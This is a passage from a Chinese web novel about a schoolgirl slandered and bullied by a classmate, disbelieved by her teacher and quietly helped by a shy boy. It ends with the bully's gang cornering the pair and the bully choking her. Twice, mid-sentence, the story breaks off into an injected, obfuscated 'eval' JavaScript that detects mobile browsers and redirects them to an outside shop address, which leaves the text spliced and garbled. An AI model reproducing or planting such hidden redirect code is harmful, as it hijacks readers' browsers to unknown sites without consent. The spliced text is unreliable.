宋未海的背后唰地冒出一层冷汗,他一手撑住身旁的墙壁,克制下立马冲过去把沈余离脑浆摇匀然后问她怎么知道的冲动,喉结一滚,整了整心情,一脸难言地开口:“怎……怎么知道的?” “很难猜吗?”沈余离微微一笑,侧眸看着他,“上午说的话下午就出现在了便签条上,谢谢你的糖,都很喜欢。” 宋未海整个人还沉浸在被揭穿的慌张与羞耻中,正咬着唇想着怎么回她,沈余离又率先开口,一向擅长和别人拉开距离的她,语气里第一次有了些许调侃:“所以你早上的那些话,是在点你自己吗?” 宋未海觉得她再说下去自己都可以冒烟儿了,整个人都快要被耳根和脖颈的热度烫穿,有些不好意思地捏了捏耳尖:“……我一直知道这件事,但什么都没做,不好意思啊。” 沈余离摇了摇头,从她眼底看不出多少宽慰的情绪,但也没有一丝一毫的厌弃与责备,只是平静道:“我说过了,不用太纠结。” 宋未海垂眸,他不敢看沈余离,一个是因为面对喜欢的人本能地害羞,另一个是因为他也曾被这样的愧疚折磨了许久。 人与人之间的磁场秒不可言,宋未海第一次见到沈余离时,没有证据、无需理由,就非常自然而坚定地相信她一定不是传言中那样的人。 老实说,赵志云他们的证据并不完整和充分,只不过是在酒吧旁,只不过是穿着校服、和周围的灯红酒绿格格不入的沈余离、只不过是她和一个男人站在了一个镜头下,更何况那个男人跟她长得五六分相似,毫无说服力的事,又凭什么给沈余离扣死了帽子,一口咬定她一定是做三陪小姐、一定睡了很多人、一定活成了所有人口中那种不自尊不自爱的烂泥样子? ——她的人生怎么样,与他们何干呢? 那群人口中的话过了火,他们用最不屑也最兴奋的语气,为她按上了最难听也最沉重的罪名。 这样一条一条的舆论像是空气中的、带着污染物的尘埃颗粒,当它们落单时渺小到无人在意,可当它们一旦抱团聚拢在一起,就会逐渐演变成一层散不去的雾霾,灰蒙蒙地笼下来,颗粒钻入鼻腔,吸入肺腑,最终植下病根。 在这场犹如慢性病的弥散中,大部分人都被遮住了视野,越来越多赞同的声音不断发酵他们内心蠢蠢欲动的冲动,最终,他们开口说出了第一声附和,从此一发不可收拾。 在这样的如同房间里的大象,宋未海一旦戳破了这场言语暴力的狂欢,就会在一夜之间变为众矢之的。 语言的箭宇杀人于无形,它有多么的锋利,他在很早之前就预设过了。 于是内心疯长的恐惧最终还是越长越旺,张牙舞爪地压过了他原始的本能,这样的情绪像一条柔软黏稠的胶水,在不知不觉间粘合了他的嘴唇,让他再不能开口。 顾虑和冲动冲撞在一起,他的纠结成为了他歉疚的本源。 “我……”宋未海抬头,张了张口,却突然发现他根本就是哑口无言,即便事态已经发展到了如此地步,他也只敢在人流忽略的角落,拿捏分寸地和沈余离说几句安慰的话。 不料,沈余离看起来并不在意他心中峰回路转的纠结,她把书包往肩上拎了拎,与宋未海对视,沉默须臾,忽然玩笑般地笑出了声。 宋未海:“……?” 沈余离微笑着摇了摇头:“没什么,就是觉得你这样的想法倒也蛮新奇,我们之前好像并不太熟。” “……唔。”宋未海有些紧张地搓了搓手,低下头,想要掩饰自己已经涨红的脸,“任何一位同学遭遇了这样的事,我都会这么想的。” 他在说谎。 虽然先设身处地地共情受害的一方,是宋未海从小到大自然而然形成的第一反应,但是鲜少会有如此强烈而漫长的震动,当他每一次听闻那些流言,宋未海都会觉得有什么人紧紧地扼住了他的咽喉。 沈余离扫了他一眼,唇角微勾,却没再多说什么,只是示意他差不多回去了。 宋未海点点头,到了这个点,学校几乎已经陷入了完全的静默,他跟在沈余离身后,看着她的黑影漫上了自己的脚尖。 好安静。宋未海想。 像是整个诺大的世界都被静止了,只有他们两个人,沉寂无言地行走在这场被暂停的时间里。 . 沈余离回到宿舍,丢了书包,听到单间卫浴里哗哗水声,拢了下头发,转向言故:“林桉在洗澡吗?” 言故还在补今天的语文作业,听到她的话,点了点头,声线细细软软的:“她快洗完了,我今天晚饭前洗掉了……小鱼,你语文作业写完了吗?” 她话音刚落,就听浴室的洗澡间传来砰的一声,紧接着林桉裹着条浴巾,把头发熟练地挽进干发帽里,拎着瓶身体乳就走了出来,冲沈余离努了努嘴:“洗好了,小鱼去吧。” 沈余离默默点了点头,从衣柜里翻出睡衣,刚拎着想去浴室,身旁身材苗条的少女突然一手拉住她,俯身凑近,她落下的湿法一同垂落时,沈余离能明显闻到一股生姜洗发水的味道。 她停下脚步,看向林桉:“怎么了?” 少女一脸神秘,故意压低声音,还警惕地左顾右盼了一会儿,在草率地确定隔墙无耳之后,她清了清嗓子,正色道:“你……知不知道赵志云那傻逼去找老师了?” “……”沈余离盯着林桉,半晌,表情微妙地挑起一边眉毛,“他找老师干嘛?自首么?” “告状。”林桉眯起眼睛,弯着身,像一只蓄势待发、机警敏感的猫,语气中隐隐有了替她打抱不平的意味,“我靠,那人说你今天揍他,跟老师说你校园霸凌他,要学校给你开处分!他怎么有的脸,是不是智障?!” “嘘。”沈余离伸出手指,轻轻抵在自己唇边,示意她安静,怕她的声音太大,传到隔壁寝室,再传到赵志云耳朵里,就凭他那个劲儿,林桉恐怕是要跟着一起遭殃,“小声点,不然别人会听到,这里隔音效果不好。” 沈余离不怕别人来找事儿,但她不喜欢别人因为她跟着遭受无妄之灾。 “呸,真是小人一个,纯种傻逼。”林桉听话噤声,但忍了一会儿还是没忍住,压低声音呸了一句,“恶人先告状,老娘祝他以后上厕所没纸。” “无所谓,随他去,他敢报告到老师那边,我就敢把那些事儿给他抖出来。”沈余离整了整搭在手臂上的睡衣,径直走进浴室,想起赵志云的种种行径,也是觉得对他无话可说,“能把高中生活玩成勾心斗角……不得不承认,在惹事身非这件事情上,赵志云的才华是蛮突出的。” “是啊,无聊死了,我支持你小鱼!哎不过——”作为整个班级里吃瓜前线的冲锋战士,林桉突然伸手勾住沈余离,凑近到她耳边,神神秘秘地开口,“说起来,你知不知道……” …… 沈余离听完她说的话,脸上没出现太大的反应,只是挑了下眉:“好,我知道了。” “撇开这件事不说,那谁什么德行你也知道……”林桉悄声道,“都遗臭万年了。” 林桉还想勾着她在说些什么,这时宿舍楼里突然响起“距离熄灯还有十分钟”的广播,沈余离抬眸看了眼钟表,觉得这时间有点儿太紧凑了点,伸手拍了拍林桉,凑到她耳边说:“先洗澡去了,不然在跟赵志云当面对峙之前,我得先跟宿管阿姨博弈一下。” 沈余离和别人相熟了之后,有时候会面不改色地扯句玩笑话,虽然知道她这点,但林桉还是被逗笑了,拍拍她的肩膀让她快点去。 话音刚落,门外走廊就传来宿管嘹亮的呐喊声:“洗澡洗漱吹头发的都快点啦!熄灯以后不上床的都得扣分!” “哦对我忘了。”林桉在睡前十分钟里硬生生忙出了脚不沾地的气势,刚换好睡衣,椅子还没坐热,又蹭地一声蹿回了浴室,大叫道,“小鱼!我洗面奶放洗澡间里了,帮我拿一下——诶?” 她刚冲进浴室,就看见沈余离正和浴室的门面面相觑。 “……刚想进去来着,发现这门被卡住了。”沈余离伸手试图掰了掰,但是没掰动,她上下检查了一下,最后微微偏头,看向站在浴室门口目瞪口呆的林桉,半开玩笑道,“看来大力出奇迹啊。” “……”林桉呆若木鸡了好一会儿,才崩溃地抱住头,欲哭无泪地尖叫道,“对不起!!我刚刚开门可能太用力了,不是,但怎么什么诡异的事情都能碰上啊!!” “问题不大。”沈余离扫了一眼门外,外面的走廊已经关了灯,她伸手抓过补作业时用的手电筒,另一只手握住门板,找准发力点,紧接着“哐当”一声,她硬生生地把那块门板拆了下来! 林桉已经彻底震惊了,瞠目结舌了许久,:“我……草……” “我把她装回去。”沈余离半蹲下来,打着手电筒去研究怎么把这门装回去,转头道:“桉桉,你帮我把浴室灯关了,这样宿管发现不了的。” “哦哦好的,小鱼我太爱你了,你简直太可靠了!”林桉一边满脸崇拜地看着沈余离一边退出去关灯,“啪”的一声,浴室立马陷入黑暗,沈余离一人打着手电筒蹲在那儿,在关灯的瞬间抬头,沉吟片刻,还是轻声开口叫住林桉,“……等下。” “嗯?”林桉双手交叠一屈膝,两眼一弯笑咪咪,“皇上您还有什么吩咐,臣女随时候命为您效劳。” “……”沈余离罕见的有些不好意思,但还是努力维持着面上的镇定,勉强平静道,“……还是把灯开一下吧,然后拿个行李箱放门板通风口那儿挡光。” “哦哦。”林桉乖巧听话地打开灯,看沈余离一人僵硬地蹲在那儿,像是想到了什么,恍然道,“你怕鬼啊?” “……”沈余离一动不动地蹲在那儿半晌,最终在表情崩塌之前缓缓地低下头,一手捂住额头,无奈道,“是有点儿。” …… . 隔天。 当林桉和言故看到沈余离顶着一双浅浅的黑眼圈进了教室时,还是不由得砸了咂舌。 小姑娘说到做到,昨晚无比生猛地把比自己高半截的厕所挡板拆下来之后,又十分尽职尽责地把它修好了。 “沈余离同学。”林桉从前桌转过来,恭恭敬敬地朝着她一拜,“小的要永远追随您。” “……”沈余离看着她毕恭毕敬无比虔诚的样子,哑然失笑,“能不能别熬大夜看你那古言电视剧了。” 就算沈余离平时看上去再生人勿进,在正常交流中,别人跟她搭话,她或多或少都会应一句,但她现在实在没精力上早朝批她林爱卿的奏折,只觉得眼皮沉得不行,干脆趴下来睡觉。 她刚把头埋下去,言故就见班主任冷不防地出现在后门口,她吓了一跳,赶忙敲了敲沈余离,把她从睡梦中拖起来。 但是,班主任貌似不是来抓早自习睡觉的,中年女人屈起手指,在铁门板上哐哐敲了两下,发出一阵不小的声响,让原本喧嚣吵闹的班级瞬间消音,大概是刻在骨子里的职业压制,大家都不约而同地闭了嘴,小心翼翼地看向班主任的方向。 班主任无视了班级中的反应,径直把目光看向了沈余离,声音听起来冰冷严肃,像是在隐隐压制着怒火:“沈余离,跟我出来一下。” 坐在沈余离斜对角的林桉立马不屑地切了声,言故有些忐忑地看向自己的同桌,而后者像是早就预料到了一般,面不改色地站起身,顶着全班或好奇看戏或幸灾乐祸的目光走出了教室。 班主任在门口等她出来,见现在早自习还没开始,走廊里还有不少学生,便直接把她领到了办公室里。 女人拉开旋转座椅坐下,翘着二郎腿,手肘弯起,搭在了办公桌上,女教师仰头看着她,口气并不算和善,甚至有了些审问的意思:“我先不表态, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么叫定罪?你会不会好好说话?而且,你当人家闲得么?你俩是有什么深仇大恨,要人家在那么紧张的学习生活中抽空来找我,只为了诬陷你?” 班主任没有直视她,只是撩眼,露出了大半眼白,语气并没有过度的激动,但那些话听起来也显得有些刻薄武断:“再说了,退一万步来讲,就算赵志云真有这功夫去整你,那么多人他为什么偏偏选你?那句话我相信你们已经听烂了,什么苍蝇不叮无缝的蛋,话糙了点儿,但理是这个理。” 沈余离实话实说,没有任何避讳:“他表白被我拒绝了,大概觉得面子上过不去吧。” “就因为这个?”班主任笑出了声,那声音听起来有些不屑,“沈余离同学,你看看你,长得又没有那么出众,别人看上你什么,要为你这么大费周折?这不符合正常人的行为逻辑啊。” 这话语气平和,但从头到尾都像长这样尖刺,沈余离蹙起眉,刚想开口,班主任抬起手,示意她不要再继续往下说,喋喋不休地对沈余离进行了指控:“那我们就当他真的是恶意剪辑,你也并不是对着他说的这些话好了,但你打他总是真的吧?我们不会冤枉任何一位学生,即使对平行班和实验班的同学也照样是一视同仁的,我们去调了监控,又问了当时在场的几个同学,大家的口径都非常统一,就说是你莫名其妙跟人家动了手,这个又怎么说?” “……”沈余离见班主任连珠炮弹似地罗列了她的数条罪证,又自以为是地否决了她的所有分析,一时间忽然觉得有些心累,心脏上像是系了沉重的铅块,这老师脸上就写着三个大字,带不动。 “您……”沈余离缓缓开口,心中感到疲惫,但是语气仍然很镇定,有理有据道,“您知不知道,我们学校的监控是录不进声音的?” “所以呢?”班主任看向她,手指用力地点在桌子上,“你难不成还想说他们篡改监控?或者说并不是你主动动的手,而是他们要求你去打他,所以你才动手了?沈余离,你一个看起来乖乖巧巧的小姑娘,心眼也要表里如一的好才行啊。我们说学习先要学做人,你承认错误,道歉领罚,积极改正,这些都是良好的认错态度,结果你站在这里给我编那些一听就知道是假的的谎言,那这样事情的性质就非常恶劣了,懂吗?” “老师。”沈余离背着双手,一动不动地盯着她看,眼神自始至终毫无任何躲闪,“您——” “你真的是一点都认识不到自己的错误了是吧?!”班主任没有给她丝毫喘息的声音,骤然提高声音,突然“啪”地一声拍向桌板! 她的声音清脆洪亮,引得办公室里的其他人纷纷侧目,原本藏在话语里的尖刺终于化为了锋利寒冷的匕|首,“我都说了,人家口径是相同的,好几个人都这么说了,难不成那几个人一起联和起来说谎不成?沈余离,不是我说你,你做人就要……” 她话音未落,门口突然被敲门声打断,二人一同循声望去,只见赵志云抱着一本书,校服穿得规规矩矩地站在办公室门口,稍稍欠了欠身,温声道:“打扰了,李老师好。” 班主任正是他口中的李老师,看到赵志云,她的神色终于有所缓和,点了点头,示意他进来,让他跟沈余离并排站在一起:“老师想听你们说实话,说说吧,都是怎么个一回事儿。” 赵志云礼貌地微笑了下,无视沈余离,站定在李燕萍面前,温言开口:“没关系的,我想了一眼,心情也平复下来了,如果沈余离同学能好好道歉并领个一年为期的处分,我认为就可以原谅她了,这个处分不计入档案,不会影响她的高考,我……” 他话音未落,门口突然又响起一阵急促的敲门声,猝不及防地打断了赵志云的话,他转头看向门口,背对着李燕萍,在看清来人之后,赵志云原本脸上的人畜无害荡然无存,神色一暗,眼神一点点冷了下去。 来人一脸焦灼,在喘息声中和沈余离撞上目光,他拨了拨额前凌乱的刘海,喉结一滚,然后在得到许可时走进了办公室。 沈余离偏头,心中一凛。 刚刚狂奔而来的人,正是宋未海。 6. 乌合之众|二 . 沈余离见到来人,难免有些吃惊,但她还没来得及作出什么反应,就见宋未海绕过二人,把几本作业本放在了李燕萍的办公桌上,和和气气道:“老师,这些是一班后来补交的作业,齐了……啊还有,关于作文竞赛的事——” “稍等会儿。”李燕萍摆了摆手,“我先解决一下我们班同学的事,中午来找你。” “……”宋未海突然面露为难之色,音量骤然减小,但吐字仍然清晰,“韩老师有事找赵志云,说是要给他开假、假条什么的。” 韩雯是实验六班的班主任。 赵志云今天确实有事儿要中午离开,他双手插兜,将信将疑地睨了一眼宋未海,掂量了下他说话的可信度,不料李燕萍率先做出了反应,示意赵志云先去忙自己的事儿,连语气都和气了三四分:“先去忙你自个儿的事吧,这件事我再教育一下沈同学。” 赵志云顺从地点点头,礼貌地冲李燕萍鞠了一躬,恭恭敬敬地道了声谢,正对着李燕萍退出了办公室。 “行吧。”李燕萍扶了扶眼镜,看向宋未海,“作文竞赛什么事儿?” “哦……”宋未海一紧张就想去扣自己的手,他的脚尖在地上磨了磨,移开目光,“老师,就是那个作文初稿我写在活页纸上了……夹在补交的课本里了。” “嗯。”李燕萍敷衍地应了声,“还有什么事吗?” 听到这句话,一直在一旁一动不动的沈余离突然小幅度地偏过头,不动声色地看向宋未海的方向。 宋未海背着双手,下意识地张口,在他出声之前,沈余离看清了他的口型。 ——那是她的姓。 方才从头至尾,沈余离内心的波澜起伏其实都不太大,她的平静,归咎于她无数次被排除在外后最清晰的认知,不断积累的过去就像是水滴汇成洪流,席卷而上的瞬间,松动了那些埋没在心底的尖刺,冲淡了痛楚,只剩下麻木。 但是就在刚刚门被敲响的那一刻,沈余离突然明显地感觉到心跳漏了一拍,像是漫漫寒夜中,有个人穿越黑暗而来,他或许并不是她走出迷途的指南针,但却与她并肩坐在黑夜中,用火柴划出一点星火,摇曳跃动的火苗在冷风的摧残下显得脆弱而渺小,她却在那一点微光靠近的刹那,感受到了来自光源的缕缕暖意,从寒夜中淌开一条小径,流至她的心底。 她自认这么小一年过去,至少在明面上,她已经对外界的纷纷扰扰竖起了铜墙铁壁,内心的万顷土地都被枯叶堆埋,竟也奇迹般地擦出一捧希望的微火。 淡定如沈余离,此刻内心中也突然生出一点紧张,即便前面她已经放下了不需要任何人为自己做什么的话,在这样四面楚歌的情景下,她仍然违背了自己本身的想法,微弱的、猝不及防的,从心底横生而出。 来自人最原始的本能,一种都快被她自己根除掉的期待, 她看向宋未海,莫名希望他能继续说下去,但等她不自觉地将目光定格在他的身上时,宋未海也只是凑近了李燕萍半步,微微鞠了下躬,收回了刚刚要说出口的话,只是轻声道:“没事了,打扰老师了。” 短短一句话,甚至没给沈余离任何反应和预备的时间,心中那点火苗就在转瞬间灰飞烟灭,沈余离感觉心脏在顷刻间向下坠了一下,紧接着又恢复那种晦暗而沉静的感觉。 他转身,离开的时候很快地看了眼沈余离,二人的视线在空气中相撞,宋未海看了她一眼,随即快速地移开目光,神色有些复杂,低下头,快步走出了教室。 沈余离听着他轻轻掩上门的声音,深吸了一口气,把心里那点儿翻覆起来的悸动迅速压下去,重新恢复镇定,看向老师,静静地等待她的下一句话。 上午这么多事儿一起堆过来,李燕萍一时觉得有些头疼,她捏了捏鼻根,抬手让沈余离先回去:“你先回去吧,中午来找我,好好想想。” 沈余离淡淡地嗯了声,转身离开了办公室。 在几个学生相继离开之后,李燕萍有些心烦地叹了口气,下意识地抬手抽出宋未海的作文,刚把那张A3的作文纸展开,就有一张轻飘飘的纸片,飘落在了地上。 李燕萍眉头轻拧,正想弯腰去捡,突然有人抢先她一步捡起了纸片。 李燕萍抬头,就见赵志云把那张纸片翻过来,上下扫了一眼上面的内容,随即意味深长地勾起嘴角,但这抹笑很快消失,他双手夹着纸片,将它递给李燕萍,声音温和:“老师,我回来和韩老师开假条,看到纸片不小心掉了,还给你。” “哦。”李燕萍有些疲倦地笑了下,“谢谢你。” 她展开纸条,正想细细确认一下上面的内容,猝不及防地抬头,却发现赵志云正在请假的签字处,背着双手,转过头,直勾勾地盯着她这边的方向,嘴角挂了一抹淡淡的笑。 当他看到李燕萍回视过来之后,赵志云微微颔首向她示意,随即不慌不忙地转过头,俯身,签请假条。 . 沈余离回到教室,响起方才铺天盖地砸向她的指控,没表现出任何烦躁或者不悦,只是面不改色地拿出书本来听课。 坐在前排的周一凡却不肯放过这个对他来说千载难逢的好机会,男生稍稍偏头,冷哼一声,低声嘲讽道:“自作孽不可活,马上要吃处分了,活该。” 沈余离没抬头,倒是身旁的言故捏了捏笔杆,趁着周一凡转过头时愤愤地瞪了他一眼。 她察觉到身旁人的动作,轻轻把手搭在了言故的手上,示意她不必在意。 . 上午的四节课很快过去,李燕萍让沈余离下课直接去她办公室,沈余离无法,只能托林桉带个改天再请的话给宋未海。 令人惊奇的是,她这次并没有像早上审问犯人一样,字里行间都充满着揣测和猜忌,却也没好到哪儿去,不冷不热地看着她:“今天你们两个离开之后呢,我发现宋未海同学在作文里给我夹了张纸条,说明了这件事……你们俩关系很好吗?” “以前不太熟,最近才认识的。”沈余离如实回答,“之前有过一点误会。” “哦。”李燕萍了然,扶了扶眼镜,“他跟我说两次他正好都在场,说那些男生先欺负你……这些姑且不谈,沈余离,你现在严格来说也是个准高三学生了,一二再再而三地有……我也不多说了,小姑娘自重自爱,重心要放在学习上,懂吗?” 沈余离抬眼,面无表情看着李燕萍,没有现在站起来转身就走已经是她最大的让步。 她的眼神中毫无惧色,也没有哪怕一秒钟的躲闪,她的模样自始至终都柔软,身上的气质却犹如一根棱角分明的冰凌,冷硬得不容任何人动摇。 为她非常清楚,她不能退缩,也绝不会退缩。 所谓的示弱一点都激不起赵志云这种人的良知,甚至他们会骄傲地把她的痛点当作自己的战利品,站在高处将人的喜怒哀乐掌控于手中的快感能压过人的绝大部分理智,她也没必要声泪俱下地跟李燕萍辩驳哭诉,因为她的偏见从最开始就根深蒂固,沈余离觉得自己就算给她写出一篇观点明晰的议论文也是白搭。 “受害者是我。”沈余离静静地看着她,不带任何拐弯抹角地表明了自己的立场,“没做过的事情,我不会承认,并且,我会拿出实证要求赵志云跟我道歉。” “且不说赵志云怎么样,你一学生,你为什么要去酒吧这种地方,让人落下话柄呢?而且,就算对方说得再怎么过分,都只是动了动嘴上功夫而已,你一旦动了手,那无论对方有没有错,这个事儿都是你性质更恶劣,知不知?”李燕萍摊开手,“你所谓的实证,又在哪里呢?” “……”沈余离直视着李燕萍的眼睛,长久而沉默地盯着她看,等到李燕萍的耐心快被耗尽了,沈余离才意味不明地微微一笑。 “老师会看到证据的。”沈余离目光深邃,她就这么直挺挺地坐在那里,像一樽面对着腥风血雨,依然屹立不动地保持笑容的雕塑。 沉稳、安静、但那笑容冰冷得令人胆寒。 然后,她轻声开口,带着一丝嘲弄的笑意:“但不是现在。” “你这什么态度?”李燕萍不满,不由得皱起眉,“是因为一班四班都是我教的,我知道宋未海这孩子,人还挺老实的,看到他的纸条后我才决定不直接上报年级组开处分的,你现在还没事儿,幸亏宋未海帮你说了话,给你个机会,你怎么还不中用呢?” 沈余离漠然道:“老师,赵志云指控我的时候什么证据都没拿,怎么到我这儿就突然严谨起来了?” 李燕萍一拍桌子,呵斥道:“你这孩子怎么说话的?!” 沈余离:“……” 她平生头一次觉得憋屈,倒不是沈余离自己有兴趣做什么破碎隐忍的小白花,主要她这人不爱浪费口舌说废话,真遇见能气得人心肌梗塞的人她一般会直接手动让对方闭嘴,忍太久了有害自己身心健康,但这会儿是学校,对面是老师,沈余离做事情再杀伐果断,她也暂时没有让自己变成超雄青少年再一日游警察局的人生规划。 但李燕萍一脸严肃地跟她说歪理的样子真的太让她头疼了,在学校里待了这么多年,沈余离难得觉得如坐毡。 什么叫“幸亏宋未海”,又为什么说“这孩子老实我知道”? 自己平白无故受无妄之灾,最后倒还得感恩戴德起来了。 她说过,自己对那些完全置身事外的同学不抱有任何情感,不会责怪,但也不会感谢,沈余离一向实话实说,不喜欢去舔着个脸去讨好任何人,她犯不着。 虽然因为阿尔卑斯和纸条的事情,沈余离确实对宋未海心存谢意,但其一那是她对他个人的,其二倒也没有感激到把他视为电视为光视为唯一的神话,更不是旁人来指正和绑架她的理由。 “沈余离同学,”李燕萍扶着眼镜,厉声开口,“老师不会带有色眼镜看任何一位同学的,我们都是凭客观证据说话的,所以,我希望你能好好配合,如果真的错了,回头是岸,不算晚。” 这话落进沈余离耳朵里,冷漠如她,也险些破功。 明显的失衡能被她包装成这样,在沈余离眼里,倒是颇有些讽刺喜剧的意味,早知道这么好笑,她就留到春晚再看了。 “老师。”沈余离忽然笑得更灿烂了,尽管她的眼神寒若冰霜,但嘴角却笑意渐浓,暗讽的意味已经化作犀利的锋芒,毫不掩饰地刺向李燕萍,“我相信您一定会用事实说话的。” 说罢,她鞠了一躬,转身朝教室外走去。 . 沈余离被气得有些发笑,连饭都没胃口吃了,径直回了四班教室,却意外地发现宋未海等在了门口。 “嗯?”沈余离看见他,有些意外,下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062672|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识试探道,“……找我吗?” “啊。”宋未海有些不好意思地挠挠头,耳廓飞红,“对的……不过没等太久,没关系,我今天也不是很饿。” “……”沈余离什么都没说,宋未海自己先把接下来的所有话都说完了,弄得她有些哑然失笑,“不好意思啊,我们班主任临时找我,让我同桌给你带了话……没带到吗?” “没,带到了。”宋未海矢口否认道,“主要……我也比较闲,就想……” 再等等。 “早上纸条的事情,李老师跟我说了。”沈余离顿了下,冷不防地开口,“谢谢你。” 李燕萍那话说得让她血压飙升是一码事,宋未海确实站出来帮忙了又是另一码事,沈余离没必要因为李燕萍的歪理就迁怒他,冲他友好地笑了下。 “没事没事。”宋未海有些不好意思,语气有些紧张,不过这会儿,宋未海跟沈余离说话时终于不会躲闪着眼神了,他看着她,少年眼底闪烁着点点清光,神色诚恳而认真,“其实我应该当场就说的,但是……抱歉啊,不过能帮到你,我很开心。” 沈余离点点头,马上快要午自习了,她没打算再多停留,打算进教室写作业,宋未海却突然出声叫住她。 “那个……沈同学……”宋未海的双手抓了下校服衣摆,看起来有点踌躇不安,沈余离离得近,都能看见他额头上那层薄薄的汗。 她停下脚步:“怎么了?” “那个……如果中午不行的话……”他说话的声音越来越小,也越来越没有底气,“咱们可不可以晚上……一起?” “好。”出乎意料的,沈余离答应得很干脆爽快,她看着宋未海小心翼翼的神色,无言片刻,倏地笑出声,“看起来我还是得相信世界上好人多点这句话……不过我觉得食堂人太多了,晚上时间允许的话,咱俩……逃个学?” “……”宋未海怔了一瞬,待他反应过来,有些不可置信地看向沈余离,“……啊?” . 傍晚。 背对着保安亭的地方,宋未海跟个木桩似的,一动不动地站在沈余离的神话。 沈余离没察觉到身后人的僵硬,一手扒着铁栏杆,评估了一下高度。 “我研究过,门后那个围栏没安电网,有踩着的地方,好翻。”沈余离抬手,看了下手表,下意识抓起宋未海的手腕就要把他往前拉,原本淡然的语气中添了一丝轻快,“还有一个小时,速战速决。” 她拉了下,发现没拉动,转头,看见宋未海纹丝不动地站在那里,埋着头,耳尖已经烫成了绯红色。 沈余离:“?” 宋未海浑身僵住,觉得整个人就要烧起来了,连话都不敢说:“那个……你……你的……手……” “啊?哦。”沈余离低下头,发现自己还抓着人家手腕,以为是自己把他抓疼了,还在感叹现在男高中生怎么这么脆皮,改成扯他的袖子,把他往前带了带,“不好意思啊,可能没收着力……我以为你不会痛的……走吧?” 宋未海:“……” 人姑娘都这么说了,再解释下去就成他矫情了,他不好意思拒绝,只好跟着沈余离一并走了。 翻墙的过程还算顺利,后门很少有保安来,只有个看起来不知道还能不能用的监控,沈余离身手一向很好,很快就踩着横杆翻了过去。 令她比较吃惊的是,宋未海一开始表现得是比较怂,反复向后看,生怕下一秒老师就鬼探头似地扑上来抓现行,但看着沈余离已经跨下围栏在等他了,宋未海来回纠结了一下,还是上手撑住了栏杆,他的校服袖口随着他的动作往后缩,露出了一截精瘦的手腕,向后一拉,整个人再翻身一跃,稳稳地落在了地上。 他比沈余离想象中的样子要敏捷,男孩子扶着围栏站好,拍了拍身上的灰,脸还有些发红,看向沈余离,语气温水一般的:“你想去哪里吃?” 沈余离掏出手机,开了导航,冲他指了指:“往那边走。” 二人沿着导航弯弯绕绕,沈余离有点路痴,拿着手机在原地变相三百六十度大转,她其实终年摆出一张面瘫脸,但这会儿眼中不再是那种如同温水般的淡然,转而露出了有些茫然的神情。 宋未海难得见她这幅样子,不由自主地笑出了声。 沈余离被这声笑拉回神,她抬头,目光转向宋未海。 “啊,不好意思,没有嘲笑你的意思。”宋未海被她这么一盯,感觉刚刚褪热下去的脸又要烧起来了,两根手指捏着她的手机边沿,拿走了她的手机,转向红绿灯路口,温和道,“我来吧。” 沈余离觉得自己在这里原地打转一个小时也是白搭,干脆就跟着宋未海一并过了马路,二人跟着导航转弯,正巧路过了一条小巷,沈余离原本没怎么在意,但当她正要跟着宋未海往前走的时候,突然有一阵熟悉的脚步声,自暗巷中,由远及近。 沈余离刚想下意识地开口阴阳怪气,突然收住了声—— ——脚步逐渐变得杂乱交叠,来人并不只是一个人。 “哟,这么迫不及待……” 赵志云从黑暗中走出来,后面还跟了一群陌生的男生,穿着皮夹克、破洞牛仔裤、染了一头五颜六色的杀马特。 他一手撑着墙,俯身,逼近沈余离: “——你上赶着,去开房吗?” 7. 乌合之众|三 . 几个人相继从巷尾走出来,缓缓把距离拉近,有几个男生不动声色地移动到了二人的背后,一点点把他们往巷子里面逼,光线越发的昏暗,潮湿咸涩的气息自巷中卷来,压迫感像一块将要倾倒的铁板,一点点往二人的后背上压。 宋未海从小到大都是老实本分的孩子,按部就班地读书和长大,连和人起冲突的次数都近乎为零,就连所谓的矛盾都只是他相对平和地喝止,哪里见过这种约群架一样的阵势,要不是沈余离还在身边,宋未海简直现在就想认怂装傻然后赶快溜走。 但是,就在他慌得有些六神无主时,一双有些冰凉的手,突然向后扣住了他的手腕。 宋未海一惊,抬起头,看见沈余离直面着赵志云,一手拿着手机,一手握着他的手,往后退了一步。 宋未海低头,看着沈余离的手,大概是因为混血的缘故,她的皮肤看起来就比别人更白些,但皮肤又不是完全的细软,那只手骨节分明,修长有力,手腕处紧绷出几条交错的青色血管,不轻不重地抓住了宋未海的手腕。 二人被逼近犄角旮旯,沈余离一步步后退,和宋未海的距离被迫缩小,到最后,近乎都快贴在了一起。 “……”宋未海喉结一滚,一手悬空在沈余离的身侧,生怕她一个不稳倒下去,警惕地看向四周,“等、等一下,现在是法制社会,四周都是监控,赵志云,你……” “你给老子闭嘴,废物东西。”赵志云突然敛起笑意,眼神阴侧侧地移到宋未海身上,眼中一点冰冷骇人的凶光,径直钉在了他的身上,“那声怂逼刺激到你了?你要是真的有点本事,就该当着我的面和我干一架,而不是跟个娘们儿似地悄悄塞纸条,吓唬谁呢?” 话音落下,周围瞬间爆发出一阵哄笑声,有人在混乱中去推他搡他,肩膀用力地撞上宋未海,他迫于惯性,往一旁猛地踉跄了一步,下意识地扶住沈余离的肩膀,才堪堪稳住重心。 “待会儿再找您算账,怂货。”赵志云哼笑了声,把注意力重新转回到沈余离身上,他居高临下地打量了她片刻,勾了下唇,然后—— ——砰! 一声闷响,赵志云突然掐住了沈余离的脖子,五指毫不留情地收紧,一点点向下逼来,瞪着她,恶狠狠道:“不识好歹的东西,你装什么清高?你在夜店给白人男做|鸡的时候,别人要也教你跟木头似的吗?” 